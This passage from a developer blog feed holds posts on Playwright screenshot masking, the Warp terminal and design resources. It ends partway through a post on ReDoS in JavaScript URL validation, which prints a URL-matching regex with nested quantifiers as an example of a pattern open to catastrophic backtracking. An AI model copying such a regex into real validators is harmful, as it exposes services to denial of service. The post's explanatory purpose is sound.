&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;extract&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ left: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, top: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, width: imageMetadata.width, height: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;525&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; })&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    .&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toFile&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;package-popularity-cropped.png&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;main&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;using-playwright-mask-to-hide-content&quot;&gt;Using Playwright mask to hide content&lt;/h2&gt;
&lt;p&gt;A hidden gem with Playwright’s API is the &lt;code&gt;mask&lt;/code&gt; option that takes in
any number of page elements and will hide them with a painted full
rectangle, a mask.&lt;/p&gt;
&lt;p&gt;Here’s how to use Playwright’s mask API:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; element.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;screenshot&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({ path: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;figure1-1.png&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, mask: [page.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;locator&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;#popularity p&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)]});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The above code uses the &lt;code&gt;screenshot&lt;/code&gt; method of the element object to take a screenshot of the element
and save it to a file called &lt;code&gt;figure1-1.png&lt;/code&gt;. The mask option is used to specify a CSS selector
for an element on the page to be excluded from the screenshot. In our case, the element with
the CSS selector &lt;code&gt;#popularity p&lt;/code&gt; will be excluded from the screenshot and it will select all of the
matched &lt;code&gt;p&lt;/code&gt; elements on the page. We have three of them, so that works quite well for us in the
case of Snyk Advisor’s popularity section.&lt;/p&gt;
&lt;p&gt;Playwright masking result looks as follows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/2023-01-01-figure-3.png&quot; alt=&quot;Snyk Advisor page showing the popularity section of Playwright npm package&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;
&lt;p&gt;Good job! You’ve now learned how to take a screenshot of a specific element on a page,
how to modify the DOM before taking the screenshot, and how to use Sharp to modify the
images with a server-side Node.js runtime.&lt;/p&gt;</content:encoded></item><item><title>Enhance your command line with Warp</title><link>https://lirantal.com/blog/2022-11-22_enhance-your-command-line-with-warp/</link><guid>https://lirantal.com/blog/2022-11-22_enhance-your-command-line-with-warp/</guid><description>How can we harness AI and crowd-sourced workflows into our day to day interactions with the command-line?</description><pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Maybe you missed out on Taylor Swift’s tour tickets but
don’t get too sad, I want to show you some cool features
I use with &lt;a href=&quot;https://www.warp.dev/&quot;&gt;warp&lt;/a&gt; as my
command-line terminal tool.&lt;/p&gt;
&lt;p&gt;It’s about how we can harness AI and crowd-sourced workflows
into our day to day interactions with the command-line.&lt;/p&gt;
&lt;h2 id=&quot;what-is-warp&quot;&gt;What is Warp?&lt;/h2&gt;
&lt;p&gt;Starting off with the basics, warp is a command-line tool
that is set up to be a one-stop-shop for all your command-line
needs and is a replacement for classic terminal emulators like
iTerm, iTerm2, Hyper, etc.&lt;/p&gt;
&lt;h2 id=&quot;ai-assisted-command-line&quot;&gt;AI assisted command-line&lt;/h2&gt;
&lt;p&gt;Imagine you are working on a project in the command-line trying
to work out some tasks like for example how to figure out the
size of the current directory. You could use the &lt;code&gt;du&lt;/code&gt; command
but did you know you can do that? do you know which flags you
need to use?&lt;/p&gt;
&lt;p&gt;Warp can help you with that. It employs a form of neutral
language processing in order to understand what you are trying
to accomplish and then it will suggest the best command to
use. It will also show you the flags you need to use.&lt;/p&gt;
&lt;p&gt;Here is a recorded video of how I use it in my own terminal
showing how I am using it to accomplish tasks such as:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;How to find the size of the current directory&lt;/li&gt;
&lt;li&gt;How to find the latest versions of the Fastify npm package&lt;/li&gt;
&lt;li&gt;How to count all the files in the current directory&lt;/li&gt;
&lt;/ol&gt;
&lt;kbd&gt;
CTRL+`
&lt;/kbd&gt;
&lt;video controls&gt;
  &lt;source src=&quot;/images/blog/warp-ai-search.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;
&lt;h2 id=&quot;command-line-workflows&quot;&gt;Command-line Workflows&lt;/h2&gt;
&lt;p&gt;Command-line workflows with Warp are a sort of template-based
commands that were curated together to solve specific problems
that are very common in the command-line.&lt;/p&gt;
&lt;p&gt;For example, if you don’t exactly remember all the flags
and command line arguments you need to use to create an HTTP
POST request with some JSON data then you can simply browse
through an already-made template that will do that for you.&lt;/p&gt;
&lt;p&gt;Check out Warp’s workflows in the following video ⚡️&lt;/p&gt;
&lt;kbd&gt;
CTRL+SHIFT+`
&lt;/kbd&gt;
&lt;video controls&gt;
  &lt;source src=&quot;/images/blog/warp-workflows.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;
&lt;h2 id=&quot;command-history&quot;&gt;Command history&lt;/h2&gt;
&lt;p&gt;You probably know this command-line trick already, in which you can
type in &lt;kbd&gt; CTRL+R &lt;/kbd&gt; and access the history of previous
commands thant you ran.&lt;/p&gt;
&lt;p&gt;With Warp, you get the same thing but with a nice overlay pop-up
that makes it much easier to browse and find stuff!&lt;/p&gt;
&lt;video controls&gt;
  &lt;source src=&quot;/images/blog/warp-history.mp4&quot; type=&quot;video/mp4&quot;&gt;
&lt;/video&gt;</content:encoded></item><item><title>Content creators web resources</title><link>https://lirantal.com/blog/2022-12-03_content_creators_web_resources/</link><guid>https://lirantal.com/blog/2022-12-03_content_creators_web_resources/</guid><description>Being an active content creator, whether this is writing, video, or any other form of content requires a good deal of time and effort. Here are some tools
  that can help you be more productive.</description><pubDate>Tue, 22 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;background-productivity-tools&quot;&gt;Background productivity tools&lt;/h2&gt;
&lt;h3 id=&quot;haikei&quot;&gt;Haikei&lt;/h3&gt;
&lt;p&gt;Haikei is a free tool that helps you create beautiful wallpapers for your desktop or mobile devices. You can choose from a variety of backgrounds and add text to create a wallpaper that’s just right for you.&lt;/p&gt;
&lt;p&gt;Website: &lt;a href=&quot;https://app.haikei.app&quot;&gt;https://app.haikei.app&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;bgjar&quot;&gt;bgjar&lt;/h3&gt;
&lt;p&gt;This free generator offers a variety of modes, including polygon, blob, colored shapes, curved lines, overlays, and others. Users can customize the width, height, and colors for each layer.&lt;/p&gt;
&lt;p&gt;Website: &lt;a href=&quot;https://bgjar.com&quot;&gt;https://bgjar.com&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;coolbackgrounds&quot;&gt;CoolBackgrounds&lt;/h3&gt;
&lt;p&gt;CoolBackgrounds is a collection of tools allows users to create striking, vibrant images for blogs, social media, and websites. Available modes include abstract triangle, particle, gradient, topography, and image.&lt;/p&gt;
&lt;p&gt;Website: &lt;a href=&quot;https://www.coolbackgrounds.io&quot;&gt;https://www.coolbackgrounds.io&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;svgbackgrounds&quot;&gt;SVGBackgrounds&lt;/h3&gt;
&lt;p&gt;Customize and apply backgrounds fast in order to create stunning websites easily with fullscreen graphics under 5KB.&lt;/p&gt;
&lt;p&gt;SVGBackgrounds is a collection of SVG background patterns that you can use as a background for your website. It’s free to use and you can download the SVG files. It was created by &lt;a href=&quot;https://twitter.com/MattVisiwig&quot;&gt;Matt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Website: &lt;a href=&quot;https://svgbackgrounds.com&quot;&gt;https://svgbackgrounds.com&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;heropatterns&quot;&gt;HeroPatterns&lt;/h3&gt;
&lt;p&gt;HeroPatterns is a website that helps with creating background images that are aimed towards web &lt;em&gt;Hero&lt;/em&gt; section. It offers a collection of repeatable SVG background patterns for you to use on your web projects.&lt;/p&gt;
&lt;p&gt;Website: &lt;a href=&quot;https://www.heropatterns.com&quot;&gt;https://www.heropatterns.com&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;posting-on-social-media&quot;&gt;Posting on Social Media&lt;/h2&gt;
&lt;h3 id=&quot;brandbird&quot;&gt;Brandbird&lt;/h3&gt;
&lt;p&gt;Website: &lt;a href=&quot;https://brandbird.app/studio&quot;&gt;https://brandbird.app/studio&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Are you also validating a JavaScript URL using RegEx?</title><link>https://lirantal.com/blog/2022-10-28_are_you_validating_javascript_url_safely/</link><guid>https://lirantal.com/blog/2022-10-28_are_you_validating_javascript_url_safely/</guid><description>What do you think of the following JavaScript URL validation function code? Are you accidentally adding security issues while doing so?</description><pubDate>Fri, 28 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;What do you think of the following JavaScript URL validation function code?
Are you accidentally adding security issues while trying to build a feature?&lt;/p&gt;
&lt;p&gt;The Snyk blog features a &lt;a href=&quot;https://snyk.io/blog/secure-javascript-url-validation&quot;&gt;Secure JavaScript URL validation&lt;/a&gt;
article about the importance of security traits and secure best practices
with regards to handling a JavaScript URL.&lt;/p&gt;
&lt;p&gt;I shared the following code snippet &lt;a href=&quot;https://twitter.com/liran_tal/status/1582004942994550786?s=20&amp;#x26;t=MsK4_x0yoj5wQgTjbU7fbA&quot;&gt;on Twitter&lt;/a&gt;
to see folks make of it and whether someone would be calling out security issues:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkUrlIsValid&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; givenURL ;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        givenURL &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;URL&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (string);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;catch&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (error) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;error is&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, error);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;       &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The replies varied pretty much and included some interesting perspectives
and potential security vectors that folks might not be aware of, which
we will cover in this article. But standing out were replies that
suggested to use regular expressions (RegEx) to validate a URL.&lt;/p&gt;
&lt;p&gt;Using a RegEx to perform validation isn’t new, and in fact, an often
used approach by developers when they need to perform string matching
or string manipulation. In fact, even the popular &lt;a href=&quot;https://snyk.io/advisor/npm-package/validator&quot;&gt;validator&lt;/a&gt;
npm package uses RegEx to validate data formats in strings. But is it
the right approach? What sort of security concerns does RegEx exposes
us to? Let’s find out.&lt;/p&gt;
&lt;h2 id=&quot;regular-expression-denial-of-service&quot;&gt;Regular Expression Denial of Service&lt;/h2&gt;
&lt;p&gt;Due to how some RegEx engines work, they can be vulnerable to a type
of attack called Regular Expression Denial of Service (ReDoS). This
happens because of an implementation detail in the RegEx engine that
is known as &lt;a href=&quot;https://snyk.io/blog/redos-and-catastrophic-backtracking/&quot;&gt;catastrophic backtracking&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The fact that escapes most when dealing with Regular Expressions
is that RegEx expressions are CPU-bound.&lt;/p&gt;
&lt;p&gt;For JavaScript and Node.js, both being single-threaded environments
for the main event loop that handles runtime JavaScript code, this
would be disastrous. A ReDoS attack can cause a Node.js process to
completely halt and stop responding to any HTTP requests.&lt;/p&gt;
&lt;p&gt;Consider the following function that uses a RegEx to validate a URL:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;checkUrlIsValidFast&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ip &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])(?:&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])){3}&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; protocol &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:http(s?)&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\:\/\/&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;)?&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; auth &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;S+(?::&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;S*)?@)?&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; host &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:(?:[a-z&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;u00a1-&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;uffff0-9_]-*)*[a-z&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;u00a1-&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;uffff0-9]+)&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; domain &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.(?:[a-z&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;u00a1-&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;uffff0-9]-*)*[a-z&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;u00a1-&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;uffff0-9]+)*&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; tld &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.(?:[a-z&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;u00a1-&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;uffff]{2,}))&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.?&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; port &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?::&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;d{2,5})?&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; path &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:[/?#][^&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;s&quot;]*)?&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; regex &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; protocol &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;|www&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.)&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; auth &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;(?:localhost|&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ip &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;|&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; host &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; domain &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; tld &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;)&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; port &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; path;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
